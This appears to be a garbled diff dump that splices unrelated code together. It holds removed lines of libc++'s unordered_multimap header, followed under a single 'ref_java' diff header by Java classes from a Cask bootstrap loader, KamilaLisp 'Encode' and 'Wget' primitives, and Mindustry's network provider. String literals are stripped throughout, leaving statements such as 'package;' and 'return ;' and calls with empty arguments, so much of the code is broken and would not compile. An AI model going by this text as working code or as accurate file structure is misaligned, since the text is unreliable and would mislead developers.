_Alloc>& __x, - const unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>& __y) -{ - if (__x.size() != __y.size()) - return false; - typedef typename unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::const_iterator - const_iterator; - for (const_iterator __i = __x.begin(), __ex = __x.end(), __ey = __y.end(); - __i != __ex; ++__i) - { - const_iterator __j = __y.find(__i->first); - if (__j == __ey || !(*__i == *__j)) - return false; - } - return true; -} - -template -inline _LIBCPP_INLINE_VISIBILITY -bool -operator!=(const unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>& __x, - const unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>& __y) -{ - return !(__x == __y); -} - -template , class _Pred = equal_to<_Key>, - class _Alloc = allocator > > -class _LIBCPP_TEMPLATE_VIS unordered_multimap -{ -public: - // types - typedef _Key key_type; - typedef _Tp mapped_type; - typedef __type_identity_t<_Hash> hasher; - typedef __type_identity_t<_Pred> key_equal; - typedef __type_identity_t<_Alloc> allocator_type; - typedef pair value_type; - typedef value_type& reference; - typedef const value_type& const_reference; - static_assert((is_same::value), - ); - -private: - typedef __hash_value_type __value_type; - typedef __unordered_map_hasher __hasher; - typedef __unordered_map_equal __key_equal; - typedef __rebind_alloc, __value_type> __allocator_type; - - typedef __hash_table<__value_type, __hasher, - __key_equal, __allocator_type> __table; - - __table __table_; - - typedef typename __table::_NodeTypes _NodeTypes; - typedef typename __table::__node_traits __node_traits; - typedef typename __table::__node_allocator __node_allocator; - typedef typename __table::__node __node; - typedef __hash_map_node_destructor<__node_allocator> _Dp; - typedef unique_ptr<__node, _Dp> __node_holder; - typedef allocator_traits __alloc_traits; - static_assert((is_same::value), - ); - - static_assert(is_same >::value, - - ); - - public: - typedef typename __alloc_traits::pointer pointer; - typedef typename __alloc_traits::const_pointer const_pointer; - typedef typename __table::size_type size_type; - typedef typename __table::difference_type difference_type; - - typedef __hash_map_iterator iterator; - typedef __hash_map_const_iterator const_iterator; - typedef __hash_map_iterator local_iterator; - typedef __hash_map_const_iterator const_local_iterator; - -#if _LIBCPP_STD_VER > 14 - typedef __map_node_handle<__node, allocator_type> node_type; -#endif - - template - friend class _LIBCPP_TEMPLATE_VIS unordered_map; - template - friend class _LIBCPP_TEMPLATE_VIS unordered_multimap; - - _LIBCPP_INLINE_VISIBILITY - unordered_multimap() - _NOEXCEPT_(is_nothrow_default_constructible<__table>::value) - { - _VSTD::__debug_db_insert_c(this); - } - explicit unordered_multimap(size_type __n, const hasher& __hf = hasher(), - const key_equal& __eql = key_equal()); - unordered_multimap(size_type __n, const hasher& __hf, - const key_equal& __eql, - const allocator_type& __a); - template - unordered_multimap(_InputIterator __first, _InputIterator __last); - template - unordered_multimap(_InputIterator __first, _InputIterator __last, - size_type __n, const hasher& __hf = hasher(), - const key_equal& __eql = key_equal()); - template - unordered_multimap(_InputIterator __first, _InputIterator __last, - size_type __n, const hasher& __hf, - const key_equal& __eql, - const allocator_type& __a); - _LIBCPP_INLINE_VISIBILITY - explicit unordered_multimap(const allocator_type& __a); - unordered_multimap(const unordered_multimap& __u); - unordered_multimap(const unordered_multimap& __u, const allocator_type& __a); -#ifndef _LIBCPP_CXX03_LANG - _LIBCPP_INLINE_VISIBILITY - unordered_multimap(unordered_multimap&& __u) - _NOEXCEPT_(is_nothrow_move_constructible<__table>::value); - unordered_multimap(unordered_multimap&& __u, const allocator_type& __a); - unordered_multimap(initializer_list __il); - unordered_multimap(initializer_list __il, size_type __n, - const hasher& __hf = hasher(), - const key_equal& __eql = key_equal()); - unordered_multimap(initializer_list __il, size_type __n, - const hasher& __hf, const key_equal& __eql, - const allocator_type& __a); -#endif // _LIBCPP_CXX03_LANG -#if _LIBCPP_STD_VER > 11 - _LIBCPP_INLINE_VISIBILITY - unordered_multimap(size_type __n, const allocator_type& __a) - : unordered_multimap(__n, hasher(), key_equal(), __a) {} - _LIBCPP_INLINE_VISIBILITY - unordered_multimap(size_type __n, const hasher& __hf, const allocator_type& __a) - : unordered_multimap(__n, __hf, key_equal(), __a) {} - template - _LIBCPP_INLINE_VISIBILITY - unordered_multimap(_InputIterator __first, _InputIterator __last, size_type __n, const allocator_type& __a) - : unordered_multimap(__first, __last, __n, hasher(), key_equal(), __a) {} - template - _LIBCPP_INLINE_VISIBILITY - unordered_multimap(_InputIterator __first, _InputIterator __last, size_type __n, const hasher& __hf, - const allocator_type& __a) - : unordered_multimap(__first, __last, __n, __hf, key_equal(), __a) {} - _LIBCPP_INLINE_VISIBILITY - unordered_multimap(initializer_list __il, size_type __n, const allocator_type& __a) - : unordered_multimap(__il, __n, hasher(), key_equal(), __a) {} - _LIBCPP_INLINE_VISIBILITY - unordered_multimap(initializer_list __il, size_type __n, const hasher& __hf, - const allocator_type& __a) - : unordered_multimap(__il, __n, __hf, key_equal(), __a) {} -#endif - _LIBCPP_INLINE_VISIBILITY - ~unordered_multimap() { - static_assert(sizeof(std::__diagnose_unordered_container_requirements<_Key, _Hash, _Pred>(0)), ); - } - - _LIBCPP_INLINE_VISIBILITY - unordered_multimap& operator=(const unordered_multimap& __u) - { -#ifndef _LIBCPP_CXX03_LANG - __table_ = __u.__table_; -#else - if (this != _VSTD::addressof(__u)) { - __table_.clear(); - __table_.hash_function() = __u.__table_.hash_function(); - __table_.key_eq() = __u.__table_.key_eq(); - __table_.max_load_factor() = __u.__table_.max_load_factor(); - __table_.__copy_assign_alloc(__u.__table_); - insert(__u.begin(), __u.end()); - } -#endif - return *this; - } -#ifndef _LIBCPP_CXX03_LANG - _LIBCPP_INLINE_VISIBILITY - unordered_multimap& operator=(unordered_multimap&& __u) - _NOEXCEPT_(is_nothrow_move_assignable<__table>::value); - _LIBCPP_INLINE_VISIBILITY - unordered_multimap& operator=(initializer_list __il); -#endif // _LIBCPP_CXX03_LANG - - _LIBCPP_INLINE_VISIBILITY - allocator_type get_allocator() const _NOEXCEPT - {return allocator_type(__table_.__node_alloc());} - - _LIBCPP_NODISCARD_AFTER_CXX17 _LIBCPP_INLINE_VISIBILITY - bool empty() const _NOEXCEPT {return __table_.size() == 0;} - _LIBCPP_INLINE_VISIBILITY - size_type size() const _NOEXCEPT {return __table_.size();} - _LIBCPP_INLINE_VISIBILITY - size_type max_size() const _NOEXCEPT {return __table_.max_size();} - - _LIBCPP_INLINE_VISIBILITY - iterator begin() _NOEXCEPT {return __table_.begin();} - _LIBCPP_INLINE_VISIBILITY - iterator end() _NOEXCEPT {return __table_.end();} - _LIBCPP_INLINE_VISIBILITY - const_iterator begin() const _NOEXCEPT {return __table_.begin();} - _LIBCPP_INLINE_VISIBILITY - const_iterator end() const _NOEXCEPT {return __table_.end();} - _LIBCPP_INLINE_VISIBILITY - const_iterator cbegin() const _NOEXCEPT {return __table_.begin();} - _LIBCPP_INLINE_VISIBILITY - const_iterator cend() const _NOEXCEPT {return __table_.end();} - - _LIBCPP_INLINE_VISIBILITY - iterator insert(const value_type& __x) {return __table_.__insert_multi(__x);} - - _LIBCPP_INLINE_VISIBILITY - iterator insert(const_iterator __p, const value_type& __x) - {return __table_.__insert_multi(__p.__i_, __x);} - - template - _LIBCPP_INLINE_VISIBILITY - void insert(_InputIterator __first, _InputIterator __last); - -#ifndef _LIBCPP_CXX03_LANG - _LIBCPP_INLINE_VISIBILITY - void insert(initializer_list __il) - {insert(__il.begin(), __il.end());} - _LIBCPP_INLINE_VISIBILITY - iterator insert(value_type&& __x) {return __table_.__insert_multi(_VSTD::move(__x));} - - _LIBCPP_INLINE_VISIBILITY - iterator insert(const_iterator __p, value_type&& __x) - {return __table_.__insert_multi(__p.__i_, _VSTD::move(__x));} - - template ::value> > - _LIBCPP_INLINE_VISIBILITY - iterator insert(_Pp&& __x) - {return __table_.__insert_multi(_VSTD::forward<_Pp>(__x));} - - template ::value> > - _LIBCPP_INLINE_VISIBILITY - iterator insert(const_iterator __p, _Pp&& __x) - {return __table_.__insert_multi(__p.__i_, _VSTD::forward<_Pp>(__x));} - - template - iterator emplace(_Args&&... __args) { - return __table_.__emplace_multi(_VSTD::forward<_Args>(__args)...); - } - - template - iterator emplace_hint(const_iterator __p, _Args&&... __args) { - return __table_.__emplace_hint_multi(__p.__i_, _VSTD::forward<_Args>(__args)...); - } -#endif // _LIBCPP_CXX03_LANG - - - _LIBCPP_INLINE_VISIBILITY - iterator erase(const_iterator __p) {return __table_.erase(__p.__i_);} - _LIBCPP_INLINE_VISIBILITY - iterator erase(iterator __p) {return __table_.erase(__p.__i_);} - _LIBCPP_INLINE_VISIBILITY - size_type erase(const key_type& __k) {return __table_.__erase_multi(__k);} - _LIBCPP_INLINE_VISIBILITY - iterator erase(const_iterator __first, const_iterator __last) - {return __table_.erase(__first.__i_, __last.__i_);} - _LIBCPP_INLINE_VISIBILITY - void clear() _NOEXCEPT {__table_.clear();} - -#if _LIBCPP_STD_VER > 14 - _LIBCPP_INLINE_VISIBILITY - iterator insert(node_type&& __nh) - { - _LIBCPP_ASSERT(__nh.empty() || __nh.get_allocator() == get_allocator(), - ); - return __table_.template __node_handle_insert_multi( - _VSTD::move(__nh)); - } - _LIBCPP_INLINE_VISIBILITY - iterator insert(const_iterator __hint, node_type&& __nh) - { - _LIBCPP_ASSERT(__nh.empty() || __nh.get_allocator() == get_allocator(), - ); - return __table_.template __node_handle_insert_multi( - __hint.__i_, _VSTD::move(__nh)); - } - _LIBCPP_INLINE_VISIBILITY - node_type extract(key_type const& __key) - { - return __table_.template __node_handle_extract(__key); - } - _LIBCPP_INLINE_VISIBILITY - node_type extract(const_iterator __it) - { - return __table_.template __node_handle_extract( - __it.__i_); - } - - template - _LIBCPP_INLINE_VISIBILITY - void merge(unordered_multimap& __source) - { - _LIBCPP_ASSERT(__source.get_allocator() == get_allocator(), - ); - return __table_.__node_handle_merge_multi(__source.__table_); - } - template - _LIBCPP_INLINE_VISIBILITY - void merge(unordered_multimap&& __source) - { - _LIBCPP_ASSERT(__source.get_allocator() == get_allocator(), - ); - return __table_.__node_handle_merge_multi(__source.__table_); - } - template - _LIBCPP_INLINE_VISIBILITY - void merge(unordered_map& __source) - { - _LIBCPP_ASSERT(__source.get_allocator() == get_allocator(), - ); - return __table_.__node_handle_merge_multi(__source.__table_); - } - template - _LIBCPP_INLINE_VISIBILITY - void merge(unordered_map&& __source) - { - _LIBCPP_ASSERT(__source.get_allocator() == get_allocator(), - ); - return __table_.__node_handle_merge_multi(__source.__table_); - } -#endif - - _LIBCPP_INLINE_VISIBILITY - void swap(unordered_multimap& __u) - _NOEXCEPT_(__is_nothrow_swappable<__table>::value) - {__table_.swap(__u.__table_);} - - _LIBCPP_INLINE_VISIBILITY - hasher hash_function() const - {return __table_.hash_function().hash_function();} - _LIBCPP_INLINE_VISIBILITY - key_equal key_eq() const - {return __table_.key_eq().key_eq();} - - _LIBCPP_INLINE_VISIBILITY - iterator find(const key_type& __k) {return __table_.find(__k);} - _LIBCPP_INLINE_VISIBILITY - const_iterator find(const key_type& __k) const {return __table_.find(__k);} -#if _LIBCPP_STD_VER > 17 - template ::value && __is_transparent::value>* = nullptr> - _LIBCPP_INLINE_VISIBILITY - iterator find(const _K2& __k) {return __table_.find(__k);} - template ::value && __is_transparent::value>* = nullptr> - _LIBCPP_INLINE_VISIBILITY - const_iterator find(const _K2& __k) const {return __table_.find(__k);} -#endif // _LIBCPP_STD_VER > 17 - - _LIBCPP_INLINE_VISIBILITY - size_type count(const key_type& __k) const {return __table_.__count_multi(__k);} -#if _LIBCPP_STD_VER > 17 - template ::value && __is_transparent::value>* = nullptr> - _LIBCPP_INLINE_VISIBILITY - size_type count(const _K2& __k) const {return __table_.__count_multi(__k);} -#endif // _LIBCPP_STD_VER > 17 - -#if _LIBCPP_STD_VER > 17 - _LIBCPP_INLINE_VISIBILITY - bool contains(const key_type& __k) const {return find(__k) != end();} - - template ::value && __is_transparent::value>* = nullptr> - _LIBCPP_INLINE_VISIBILITY - bool contains(const _K2& __k) const {return find(__k) != end();} -#endif // _LIBCPP_STD_VER > 17 - - _LIBCPP_INLINE_VISIBILITY - pair equal_range(const key_type& __k) - {return __table_.__equal_range_multi(__k);} - _LIBCPP_INLINE_VISIBILITY - pair equal_range(const key_type& __k) const - {return __table_.__equal_range_multi(__k);} -#if _LIBCPP_STD_VER > 17 - template ::value && __is_transparent::value>* = nullptr> - _LIBCPP_INLINE_VISIBILITY - pair equal_range(const _K2& __k) - {return __table_.__equal_range_multi(__k);} - template ::value && __is_transparent::value>* = nullptr> - _LIBCPP_INLINE_VISIBILITY - pair equal_range(const _K2& __k) const - {return __table_.__equal_range_multi(__k);} -#endif // _LIBCPP_STD_VER > 17 - - _LIBCPP_INLINE_VISIBILITY - size_type bucket_count() const _NOEXCEPT {return __table_.bucket_count();} - _LIBCPP_INLINE_VISIBILITY - size_type max_bucket_count() const _NOEXCEPT - {return __table_.max_bucket_count();} - - _LIBCPP_INLINE_VISIBILITY - size_type bucket_size(size_type __n) const - {return __table_.bucket_size(__n);} - _LIBCPP_INLINE_VISIBILITY - size_type bucket(const key_type& __k) const {return __table_.bucket(__k);} - - _LIBCPP_INLINE_VISIBILITY - local_iterator begin(size_type __n) {return __table_.begin(__n);} - _LIBCPP_INLINE_VISIBILITY - local_iterator end(size_type __n) {return __table_.end(__n);} - _LIBCPP_INLINE_VISIBILITY - const_local_iterator begin(size_type __n) const {return __table_.cbegin(__n);} - _LIBCPP_INLINE_VISIBILITY - const_local_iterator end(size_type __n) const {return __table_.cend(__n);} - _LIBCPP_INLINE_VISIBILITY - const_local_iterator cbegin(size_type __n) const {return __table_.cbegin(__n);} - _LIBCPP_INLINE_VISIBILITY - const_local_iterator cend(size_type __n) const {return __table_.cend(__n);} - - _LIBCPP_INLINE_VISIBILITY - float load_factor() const _NOEXCEPT {return __table_.load_factor();} - _LIBCPP_INLINE_VISIBILITY - float max_load_factor() const _NOEXCEPT {return __table_.max_load_factor();} - _LIBCPP_INLINE_VISIBILITY - void max_load_factor(float __mlf) {__table_.max_load_factor(__mlf);} - _LIBCPP_INLINE_VISIBILITY - void rehash(size_type __n) {__table_.__rehash_multi(__n);} - _LIBCPP_INLINE_VISIBILITY - void reserve(size_type __n) {__table_.__reserve_multi(__n);} - -#ifdef _LIBCPP_ENABLE_DEBUG_MODE - - bool __dereferenceable(const const_iterator* __i) const - {return __table_.__dereferenceable(_VSTD::addressof(__i->__i_));} - bool __decrementable(const const_iterator* __i) const - {return __table_.__decrementable(_VSTD::addressof(__i->__i_));} - bool __addable(const const_iterator* __i, ptrdiff_t __n) const - {return __table_.__addable(_VSTD::addressof(__i->__i_), __n);} - bool __subscriptable(const const_iterator* __i, ptrdiff_t __n) const - {return __table_.__addable(_VSTD::addressof(__i->__i_), __n);} - -#endif // _LIBCPP_ENABLE_DEBUG_MODE - - -}; - -#if _LIBCPP_STD_VER >= 17 -template>, - class _Pred = equal_to<__iter_key_type<_InputIterator>>, - class _Allocator = allocator<__iter_to_alloc_type<_InputIterator>>, - class = enable_if_t<__is_cpp17_input_iterator<_InputIterator>::value>, - class = enable_if_t::value>, - class = enable_if_t::value>, - class = enable_if_t::value>, - class = enable_if_t<__is_allocator<_Allocator>::value>> -unordered_multimap(_InputIterator, _InputIterator, typename allocator_traits<_Allocator>::size_type = 0, - _Hash = _Hash(), _Pred = _Pred(), _Allocator = _Allocator()) - -> unordered_multimap<__iter_key_type<_InputIterator>, __iter_mapped_type<_InputIterator>, _Hash, _Pred, _Allocator>; - -template>, - class _Pred = equal_to>, - class _Allocator = allocator>, - class = enable_if_t::value>, - class = enable_if_t::value>, - class = enable_if_t::value>, - class = enable_if_t<__is_allocator<_Allocator>::value>> -unordered_multimap(initializer_list>, typename allocator_traits<_Allocator>::size_type = 0, - _Hash = _Hash(), _Pred = _Pred(), _Allocator = _Allocator()) - -> unordered_multimap, _Tp, _Hash, _Pred, _Allocator>; - -template::value>, - class = enable_if_t<__is_allocator<_Allocator>::value>> -unordered_multimap(_InputIterator, _InputIterator, typename allocator_traits<_Allocator>::size_type, _Allocator) - -> unordered_multimap<__iter_key_type<_InputIterator>, __iter_mapped_type<_InputIterator>, - hash<__iter_key_type<_InputIterator>>, equal_to<__iter_key_type<_InputIterator>>, _Allocator>; - -template::value>, - class = enable_if_t<__is_allocator<_Allocator>::value>> -unordered_multimap(_InputIterator, _InputIterator, _Allocator) - -> unordered_multimap<__iter_key_type<_InputIterator>, __iter_mapped_type<_InputIterator>, - hash<__iter_key_type<_InputIterator>>, equal_to<__iter_key_type<_InputIterator>>, _Allocator>; - -template::value>, - class = enable_if_t::value>, - class = enable_if_t::value>, - class = enable_if_t<__is_allocator<_Allocator>::value>> -unordered_multimap(_InputIterator, _InputIterator, typename allocator_traits<_Allocator>::size_type, _Hash, _Allocator) - -> unordered_multimap<__iter_key_type<_InputIterator>, __iter_mapped_type<_InputIterator>, - _Hash, equal_to<__iter_key_type<_InputIterator>>, _Allocator>; - -template::value>> -unordered_multimap(initializer_list>, typename allocator_traits<_Allocator>::size_type, _Allocator) - -> unordered_multimap, _Tp, - hash>, - equal_to>, _Allocator>; - -template::value>> -unordered_multimap(initializer_list>, _Allocator) - -> unordered_multimap, _Tp, - hash>, - equal_to>, _Allocator>; - -template::value>, - class = enable_if_t::value>, - class = enable_if_t<__is_allocator<_Allocator>::value>> -unordered_multimap(initializer_list>, typename allocator_traits<_Allocator>::size_type, _Hash, _Allocator) - -> unordered_multimap, _Tp, _Hash, - equal_to>, _Allocator>; -#endif diff --git a/ref_java b/ref_java index 02ff751..2e7e451 100644 --- a/ref_java +++ b/ref_java @@ -1,4 +1,4 @@ -package rocks.palaiologos.cask; +package; import java.io.IOException; import java.io.InputStream; @@ -6,644 +6,539 @@ import java.util.HashMap; import java.util.Objects; public class CaskBootstrap { - public static void main(String[] args) { - InputStream manifest = CaskBootstrap.class.getClassLoader().getResourceAsStream(); - if(manifest == null) { - throw new RuntimeException(); - } - String data; - try { - data = new String(manifest.readAllBytes()); - manifest.close(); - } catch (IOException e) { - throw new RuntimeException(); - } - // Primarily just future-proofing. - HashMap manifestMap = new HashMap<>(); - String[] properties = data.replace(); - for (String property : properties) { - int index = property.indexOf(); - if (index == -1) { - throw new RuntimeException( + property); - } - manifestMap.put(property.substring(0, index).trim(), property.substring(index + 1).trim()); - } +public static void main(String[] args) { +InputStream manifest = CaskBootstrap.class.getClassLoader().getResourceAsStream(); +if(manifest == null) { +throw new RuntimeException(); +} +String data; +try { +data = new String(manifest.readAllBytes()); +manifest.close(); +} catch (IOException e) { +throw new RuntimeException(); +} +// Primarily just future-proofing. +HashMap manifestMap = new HashMap<>(); +String[] properties = data.replace(); +for (String property : properties) { +int index = property.indexOf(); +if (index == -1) { +throw new RuntimeException( + property); +} +manifestMap.put(property.substring(0, index).trim(), property.substring(index + 1).trim()); +} - String mainClass = manifestMap.get(); - String caskFile = manifestMap.get(); - if (mainClass == null || caskFile == null) { - throw new RuntimeException(); - } +String mainClass = manifestMap.get(); +String caskFile = manifestMap.get(); +if (mainClass == null || caskFile == null) { +throw new RuntimeException(); +} - try { - CaskClassLoader caskClassLoader = new CaskClassLoader(Objects.requireNonNull(CaskBootstrap.class.getClassLoader().getResourceAsStream(caskFile))); - Class mainClassObject = caskClassLoader.loadClass(mainClass); - Thread.currentThread().setContextClassLoader(caskClassLoader); - System.setProperty(, CaskClassLoader.class.getName()); - mainClassObject.getMethod(, String[].class).invoke(null, (Object) args); - } catch (Exception e) { - throw new RuntimeException(, e); - } - } +try { +CaskClassLoader caskClassLoader = new CaskClassLoader(Objects.requireNonNull(CaskBootstrap.class.getClassLoader().getResourceAsStream(caskFile))); +Class mainClassObject = caskClassLoader.loadClass(mainClass); +Thread.currentThread().setContextClassLoader(caskClassLoader); +System.setProperty(, CaskClassLoader.class.getName()); +mainClassObject.getMethod(, String[].class).invoke(null, (Object) args); +} catch (Exception e) { +throw new RuntimeException(, e); +} +} } package palaiologos.kamilalisp.runtime.array; import com.google.common.collect.Lists; -import palaiologos.kamilalisp.atom.Atom; -import palaiologos.kamilalisp.atom.Environment; -import palaiologos.kamilalisp.atom.Lambda; -import palaiologos.kamilalisp.atom.PrimitiveFunction; - import java.math.BigInteger; import java.util.ArrayList; import java.util.List; public class Encode extends PrimitiveFunction implements Lambda { - @Override - public Atom apply(Environment env, List args) { - assertArity(args, 2); - BigInteger base = args.get(0).getInteger(); - BigInteger n = args.get(1).getInteger(); - List encoding = new ArrayList<>(); - while (n.compareTo(BigInteger.ZERO) > 0) { - encoding.add(new Atom(n.mod(base))); - n = n.divide(base); - } - if (encoding.isEmpty()) - encoding.add(new Atom(BigInteger.ZERO)); - return new Atom(Lists.reverse(encoding)); - } - - @Override - protected String name() { - return ; - } +@Override +public Atom apply(Environment env, List args) { +assertArity(args, 2); +BigInteger base = args.get(0).getInteger(); +BigInteger n = args.get(1).getInteger(); +List encoding = new ArrayList<>(); +while (n.compareTo(BigInteger.ZERO) > 0) { +encoding.add(new Atom(n.mod(base))); +n = n.divide(base); +} +if (encoding.isEmpty()) +encoding.add(new Atom(BigInteger.ZERO)); +return new Atom(Lists.reverse(encoding)); } -package palaiologos.kamilalisp.runtime.net; - -import palaiologos.kamilalisp.atom.Atom; -import palaiologos.kamilalisp.atom.Environment; -import palaiologos.kamilalisp.atom.Lambda; -import palaiologos.kamilalisp.atom.PrimitiveFunction; -import palaiologos.kamilalisp.runtime.dataformat.BufferAtomList; +@Override +protected String name() { +return ; +} +} import java.io.InputStream; import java.net.URL; import java.util.List; public class Wget extends PrimitiveFunction implements Lambda { - @Override - public Atom apply(Environment env, List args) { - assertArity(args, 1); - try { - URL url = new URL(args.get(0).getString()); - InputStream data = url.openStream(); - byte[] bytes = data.readAllBytes(); - data.close(); - return new Atom(BufferAtomList.from(bytes)); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - @Override - protected String name() { - return ; - } +@Override +public Atom apply(Environment env, List args) { +assertArity(args, 1); +try { +URL url = new URL(args.get(0).getString()); +InputStream data = url.openStream(); +byte[] bytes = data.readAllBytes(); +data.close(); +return new Atom(BufferAtomList.from(bytes)); +} catch (Exception e) { +throw new RuntimeException(e); +} } -package mindustry.net; +@Override +protected String name() { +return ; +} -import arc.*; -import arc.func.*; -import arc.math.*; -import arc.net.*; -import arc.net.FrameworkMessage.*; -import arc.net.dns.*; -import arc.struct.*; -import arc.util.*; -import arc.util.Log.*; -import arc.util.io.*; -import mindustry.*; -import mindustry.game.EventType.*; -import mindustry.net.Administration.*; -import mindustry.net.Net.*; -import mindustry.net.Packets.*; -import net.jpountz.lz4.*; +server = new Server(32768, 16384, new PacketSerializer()); +server.setMulticast(multicastGroup, multicastPort); +server.setDiscoveryHandler((address, handler) -> { +ByteBuffer buffer = NetworkIO.writeServerData(); +buffer.position(0); +handler.respond(buffer); +}); -import java.io.*; -import java.net.*; -import java.nio.*; -import java.nio.channels.*; -import java.util.concurrent.*; +server.addListener(new NetListener(){ -import static mindustry.Vars.*; +@Override +public void connected(Connection connection){ +String ip = connection.getRemoteAddressTCP().getAddress().getHostAddress(); -public class ArcNetProvider implements NetProvider{ - final Client client; - final Prov packetSupplier = () -> new DatagramPacket(new byte[512], 512); +//kill connections above the limit to prevent spam +if((playerLimitCache > 0 && server.getConnections().length > playerLimitCache) || netServer.admins.isDosBlacklisted(ip)){ + connection.close(DcReason.closed); + return; +} - final Server server; - final CopyOnWriteArrayList connections = new CopyOnWriteArrayList<>(); - Thread serverThread; +ArcConnection kn = new ArcConnection(ip, connection); - private static final LZ4FastDecompressor decompressor = LZ4Factory.fastestInstance().fastDecompressor(); - private static final LZ4Compressor compressor = LZ4Factory.fastestInstance().fastCompressor(); +Connect c = new Connect(); +c.addressTCP = ip; - private volatile int playerLimitCache, packetSpamLimit; +Log.debug(, c.addressTCP); - public ArcNetProvider(){ - ArcNet.errorHandler = e -> { - if(Log.level == LogLevel.debug){ - Log.debug(Strings.getStackTrace(e)); - } - }; +connection.setArbitraryData(kn); +connections.add(kn); +Core.app.post(() -> net.handleServerReceived(kn, c)); +} - //fetch this in the main thread to prevent threading issues - Events.run(Trigger.update, () -> { - playerLimitCache = netServer.admins.getPlayerLimit(); - packetSpamLimit = Config.packetSpamLimit.num(); - }); +@Override +public void disconnected(Connection connection, DcReason reason){ +if(!(connection.getArbitraryData() instanceof ArcConnection k)) return; - client = new Client(8192, 16384, new PacketSerializer()); - client.setDiscoveryPacket(packetSupplier); - client.addListener(new NetListener(){ - @Override - public void connected(Connection connection){ - Connect c = new Connect(); - c.addressTCP = connection.getRemoteAddressTCP().getAddress().getHostAddress(); - if(connection.getRemoteAddressTCP() != null) c.addressTCP = connection.getRemoteAddressTCP().toString(); +Disconnect c = new Disconnect(); +c.reason = reason.toString(); - Core.app.post(() -> net.handleClientReceived(c)); - } +Core.app.post(() -> { + net.handleServerReceived(k, c); + connections.remove(k); +}); +} - @Override - public void disconnected(Connection connection, DcReason reason){ - if(connection.getLastProtocolError() != null){ - netClient.setQuiet(); - } +@Override +public void received(Connection connection, Object object){ +if(!(connection.getArbitraryData() instanceof ArcConnection k) || !(object instanceof Packet pack)) return; - Disconnect c = new Disconnect(); - c.reason = reason.toString(); - Core.app.post(() -> net.handleClientReceived(c)); - } +if(packetSpamLimit > 0 && !k.packetRate.allow(3000, packetSpamLimit)){ + Log.warn(, k.address); + connection.close(DcReason.closed); + netServer.admins.blacklistDos(k.address); + return; +} - @Override - public void received(Connection connection, Object object){ - if(!(object instanceof Packet p)) return; - - Core.app.post(() -> { - try{ - net.handleClientReceived(p); - }catch(Throwable e){ - net.handleException(e); - } - }); - - } - }); - - server = new Server(32768, 16384, new PacketSerializer()); - server.setMulticast(multicastGroup, multicastPort); - server.setDiscoveryHandler((address, handler) -> { - ByteBuffer buffer = NetworkIO.writeServerData(); - buffer.position(0); - handler.respond(buffer); - }); - - server.addListener(new NetListener(){ - - @Override - public void connected(Connection connection){ - String ip = connection.getRemoteAddressTCP().getAddress().getHostAddress(); - - //kill connections above the limit to prevent spam - if((playerLimitCache > 0 && server.getConnections().length > playerLimitCache) || netServer.admins.isDosBlacklisted(ip)){ - connection.close(DcReason.closed); - return; - } - - ArcConnection kn = new ArcConnection(ip, connection); - - Connect c = new Connect(); - c.addressTCP = ip; - - Log.debug(, c.addressTCP); - - connection.setArbitraryData(kn); - connections.add(kn); - Core.app.post(() -> net.handleServerReceived(kn, c)); - } - - @Override - public void disconnected(Connection connection, DcReason reason){ - if(!(connection.getArbitraryData() instanceof ArcConnection k)) return; - - Disconnect c = new Disconnect(); - c.reason = reason.toString(); - - Core.app.post(() -> { - net.handleServerReceived(k, c); - connections.remove(k); - }); - } - - @Override - public void received(Connection connection, Object object){ - if(!(connection.getArbitraryData() instanceof ArcConnection k) || !(object instanceof Packet pack)) return; - - if(packetSpamLimit > 0 && !k.packetRate.allow(3000, packetSpamLimit)){ - Log.warn(, k.address); - connection.close(DcReason.closed); - netServer.admins.blacklistDos(k.address); - return; - } - - Core.app.post(() -> { - try{ - net.handleServerReceived(k, pack); - }catch(Throwable e){ - Log.err(e); - } - }); - } - }); +Core.app.post(() -> { + try{ + net.handleServerReceived(k, pack); + }catch(Throwable e){ + Log.err(e); } +}); +} +}); +} - @Override - public void setConnectFilter(Server.ServerConnectFilter connectFilter){ - server.setConnectFilter(connectFilter); +@Override +public void setConnectFilter(Server.ServerConnectFilter connectFilter){ +server.setConnectFilter(connectFilter); +} + +private static boolean isLocal(InetAddress addr){ +if(addr.isAnyLocalAddress() || addr.isLoopbackAddress()) return true; + +try{ +return NetworkInterface.getByInetAddress(addr) != null; +}catch(Exception e){ +return false; +} +} + +@Override +public void connectClient(String ip, int port, Runnable success){ +Threads.daemon(() -> { +try{ +//just in case +client.stop(); + +Threads.daemon(, () -> { + try{ + client.run(); + }catch(Exception e){ + if(!(e instanceof ClosedSelectorException)) net.handleException(e); } +}); - private static boolean isLocal(InetAddress addr){ - if(addr.isAnyLocalAddress() || addr.isLoopbackAddress()) return true; +client.connect(5000, ip, port, port); +success.run(); +}catch(Exception e){ +if(netClient.isConnecting()){ + net.handleException(e); +} +} +}); +} - try{ - return NetworkInterface.getByInetAddress(addr) != null; - }catch(Exception e){ - return false; - } +@Override +public void disconnectClient(){ +client.close(); +} + +@Override +public void sendClient(Object object, boolean reliable){ +try{ +if(reliable){ +client.sendTCP(object); +}else{ +client.sendUDP(object); +} +//sending things can cause an under/overflow, catch it and disconnect instead of crashing +}catch(BufferOverflowException | BufferUnderflowException e){ +net.showError(e); +} +} + +@Override +public void pingHost(String address, int port, Cons valid, Cons invalid){ +try{ +var host = pingHostImpl(address, port); +Core.app.post(() -> valid.get(host)); +}catch(IOException e){ +if(port == Vars.port){ +for(var record : ArcDns.getSrvRecords( + address)){ + try{ + var host = pingHostImpl(record.target, record.port); + Core.app.post(() -> valid.get(host)); + return; + }catch(IOException ignored){ } +} +} +Core.app.post(() -> invalid.get(e)); +} +} - @Override - public void connectClient(String ip, int port, Runnable success){ - Threads.daemon(() -> { - try{ - //just in case - client.stop(); +private Host pingHostImpl(String address, int port) throws IOException{ +try(DatagramSocket socket = new DatagramSocket()){ +long time = Time.millis(); - Threads.daemon(, () -> { - try{ - client.run(); - }catch(Exception e){ - if(!(e instanceof ClosedSelectorException)) net.handleException(e); - } - }); +socket.send(new DatagramPacket(new byte[]{-2, 1}, 2, InetAddress.getByName(address), port)); +socket.setSoTimeout(2000); - client.connect(5000, ip, port, port); - success.run(); - }catch(Exception e){ - if(netClient.isConnecting()){ - net.handleException(e); - } - } - }); +DatagramPacket packet = packetSupplier.get(); +socket.receive(packet); + +ByteBuffer buffer = ByteBuffer.wrap(packet.getData()); +Host host = NetworkIO.readServerData((int)Time.timeSinceMillis(time), packet.getAddress().getHostAddress(), 